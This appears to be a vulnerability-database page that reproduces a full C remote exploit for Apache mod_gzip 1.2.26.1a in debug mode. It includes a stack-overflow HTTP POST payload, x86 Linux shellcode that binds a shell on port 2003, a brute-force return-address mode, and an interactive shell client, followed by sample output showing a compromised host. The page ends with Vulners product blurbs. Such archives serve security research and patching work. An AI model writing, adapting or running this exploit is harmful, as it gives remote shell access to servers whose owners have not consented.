Lucene search
K

Apache mod_gzip (with debug_mode) <= 1.2.26.1a Remote Exploit

🗓️ 20 Nov 2003 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Exploit for Apache mod_gzip <= 1.2.26.1a in debug mode for remote access on Linux and BSD.

Code

                                                /*
\  	[exploit code] for mod_gzip (with debug_mode) &lt;= 1.2.26.1a
/
\  	Created by xCrZx crazy_einstein yahoo com  /05.06.03/
/
\  	Tested on RedHat 8.0 (Psyche) (here is target for it), 
/               also tested on FreeBSD 4.7 (1.3.19.2a) (here is no target for it :)
/
\
*/

/*
\
/	Single mode:
\
/  	[crz@blacksand crz]$ ./85mod_gzip -t 0 -h localhost
\ 
/  	remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
\                   	by xCrZx [[email protected]] /05.06.03/
/ 
\  	Using: ret_err = 0x42127480, ret = 0xbfffd8f0
/ 
\    	[!] Connecting to localhost:80
/      	[+] Connected!
\      	[*] Trying to connect to localhost:2003 port!!! Pray for success!
/      	[*] Sleeping at 2 seconds...
\ 
/      	[!] Shell is accessible!
\ 
/      	uid=99(nobody) gid=99(nobody) groups=99(nobody)
\      	Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/ 
\	Brute mode:
/ 
\	[crz@blacksand crz]$ ./85mod_gzip -h localhost -b 0xbfffffff -s 1000
/
\	remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
/        	         by xCrZx [[email protected]] /05.06.03/
\
/	Using: ret_err = 0x42127480, ret = 0xbfffffff ,step = 1000
\
/	[~] Brutemode activated!
\	.
/	[!] Shell is accessible!
\
/	uid=99(nobody) gid=99(nobody) groups=99(nobody)
\	Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/  
\
*/



#include &lt;stdio.h&gt;
#include &lt;netinet/in.h&gt;  
#include &lt;netdb.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;


#define STEP 1000

char fmt[] =

&quot;POST /?%s HTTP/1.1\r\n&quot;
&quot;Content-Type: text/html\r\n&quot;
&quot;Host: %s\r\n&quot;
&quot;Content-Length: %d\r\n&quot;
&quot;Accept-Encoding: gzip, deflate\r\n\r\n&quot;
&quot;%s\r\n\r\n&quot;;

	 
struct TARGETS {
	char *distr;
	long ret;
	long std_err;
	char *shellcode;
	char *jmp;
} targets[] = { 
	
	/* you can add targets here */
	
	{&quot;RedHat 8.0 (Psyche)&quot;,  // disributive info
	 0xbfffd8f0, // return address in stack
	 0x42127480, // address of stderr
	 //shellcode for Linux x86 -&gt; bind shell on 2003 port//
         &quot;\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80&quot;
         &quot;\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d&quot;
         &quot;\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16&quot;
         &quot;\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10&quot;
         &quot;\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45&quot;
         &quot;\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41&quot;
         &quot;\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62&quot;
         &quot;\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;,

     	/*

     	special jump instruction (to avoid bad characters in url):
      	(jump on our shellcode into heap)
 
 	movl $0xa1a51baa,%ebx
 	addl $0x66666666,%ebx
 	jmp *%ebx

      	*/
	 
        &quot;\xbb\xaa\x1b\xa5\xa1\x81\xc3\x66\x66\x66\x66\xff\xe3&quot;

	} };

	 
long getip(char *hostname) {
	struct hostent *he;
	long ipaddr;
	
	if ((ipaddr = inet_addr(hostname)) &lt; 0) {
		if ((he = gethostbyname(hostname)) == NULL) {
			perror(&quot;gethostbyname()&quot;);
			exit(-1);
		}
		memcpy(&amp;ipaddr, he-&gt;h_addr, he-&gt;h_length);
	}	
	return ipaddr;
}

void usage(char *prog) {

	int i=0;
	
printf(&quot;\nUsage: %s &lt;-h www.victim.com&gt; [-p port] [-t target] [-r manual_retaddr] 
[-b addr] [-s step_num]\n\nTargets:\n&quot;,prog);
while(targets[i++].distr) printf(&quot;\t[%d] -&gt; %s\n&quot;,i-1,targets[i-1].distr);
printf(&quot;\n&quot;);
exit(0);

}

int main(int argc, char **argv) {
 
    	int i=0;     
    	struct sockaddr_in sockstruct;
    	struct hostent *HOST;
    	char tmp[20000];
	char buf1[5000],buf2[10000];
    	int sock;
    	fd_set  rset;
	int port=80,shellport=2003;
	int step=STEP;
	char *victim=NULL;
	long ret=0xbfffffff,ret_err;
	int brutemode=0;
	char *shellcode,*jmp;
	int trg=0;

printf(&quot;\nremote exploit for mod_gzip (debug_mode) [Linux/*BSD]\n\t\t by xCrZx [crazy_einstein] /05.06.03/\n&quot;);

	for(i=0;i&lt;argc;i++) {
		if(argv[i][1]=='h') victim=argv[i+1];
		if(argv[i][1]=='p') port=atoi(argv[i+1]);
		if(argv[i][1]=='t') {ret=targets[atoi(argv[i+1])].ret;trg=atoi(argv[i+1]);}
               	if(argv[i][1]=='r') sscanf(argv[i+1],&quot;0x%x&quot;,&amp;ret);	
		if(argv[i][1]=='b') { brutemode=1; ret=strtoul(argv[i+1],0,16);}
		if(argv[i][1]=='s') { step=atoi(argv[i+1]);}
	}

	if(!victim || ret==0) usage(argv[0]);

	ret_err=targets[trg].std_err;
	shellcode=targets[trg].shellcode;
	jmp=targets[trg].jmp;

	printf(&quot;\nUsing: ret_err = 0x%x, ret = 0x%x&quot;,ret_err,ret);
	if(brutemode) printf(&quot; ,step = %d\n&quot;,step);
	
	printf(&quot;\n&quot;);
	
	if(brutemode)printf(&quot;[~] Brutemode activated!\n&quot;);

	do {
    	
    	sock=socket(PF_INET,SOCK_STREAM,0);
    	sockstruct.sin_family=PF_INET; 
    	sockstruct.sin_addr.s_addr=getip(victim);
    	sockstruct.sin_port=htons(port);

    	if(!brutemode)printf(&quot;\n[!] Connecting to %s:%d\n&quot;,victim,port);
   
      	if(connect(sock,(struct sockaddr*)&amp;sockstruct,sizeof(sockstruct))&gt;-1) {

        	if(!brutemode)printf(&quot;[+] Connected!\n&quot;,i);

		memset(tmp ,0x00,sizeof tmp );
               	memset(buf1,0x00,sizeof buf1);
	       	memset(buf2,0x00,sizeof buf2);

		memset(buf1,0x90,2016);
		memcpy(buf1+strlen(buf1),jmp,strlen(jmp));
		memset(buf1+strlen(buf1),0x90,2280);
		*(long *)&amp;buf1[strlen(buf1)]=ret_err;
		for(i=0;i&lt;100;i++) *(long *)&amp;buf1[strlen(buf1)]=ret;

		memset(buf2,0x90,1000);
		memcpy(buf2+strlen(buf2),shellcode,strlen(shellcode));
		
		sprintf(tmp,fmt,buf1,victim,strlen(buf2),buf2);
		write(sock,tmp,strlen(tmp));

      	}else { printf(&quot;[x] Error: Could not connect to %s:%d!\n&quot;,victim,port);exit(0);}
    
      	close(sock);

	ret-= step;

	if(brutemode) {printf(&quot;.&quot;);fflush(stdout);}
	

	if(!brutemode) {	
		printf(&quot;[*] Trying to connect to %s:%d port!!! Pray for success!\n&quot;,victim,shellport);
		printf(&quot;[*] Sleeping at 2 seconds...\n&quot;);
	}
	
	sleep(2);
	
       	sock=socket(PF_INET,SOCK_STREAM,0);

	bzero(sockstruct.sin_zero,sizeof(sockstruct.sin_zero));
	sockstruct.sin_family=PF_INET; 
       	sockstruct.sin_addr.s_addr=getip(victim);
       	sockstruct.sin_port=htons(shellport);

       	if(connect(sock,(struct sockaddr*)&amp;sockstruct,sizeof(sockstruct))&gt;-1) {
	        printf(&quot;\n[!] Shell is accessible!\n\n&quot;);
	        write(sock, &quot;id;uname -a\n&quot;, 12); 
	        while (1) {
	                FD_ZERO(&amp;rset);
	                FD_SET(sock,&amp;rset);
	                FD_SET(STDIN_FILENO,&amp;rset);
	                select(sock + 1, &amp;rset, NULL, NULL, NULL);

       			if (FD_ISSET(sock, &amp;rset)) {
	                        i = read(sock, tmp, sizeof(tmp) - 1);
	                        if (i &lt;= 0) {
	                                printf(&quot;[!] Connection closed.\n&quot;);
	                                close(sock);
	                                exit(0);
	                        }
                        tmp[i] = 0;
                        printf(&quot;%s&quot;, tmp);
	                }
        	        if (FD_ISSET(STDIN_FILENO, &amp;rset)) {
                	        i = read(STDIN_FILENO, tmp, sizeof(tmp) - 1);
                        	if (i &gt; 0) {
                                	tmp[i]=0;
	                                write(sock, tmp, i);
        	                }
                	}
	        }
       	} else if(!brutemode)printf(&quot;[x] Shell is inaccessible..\n\n&quot;);

       	close(sock);

	} while ( brutemode );

      
    	return 0;
}

// milw0rm.com [2003-11-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation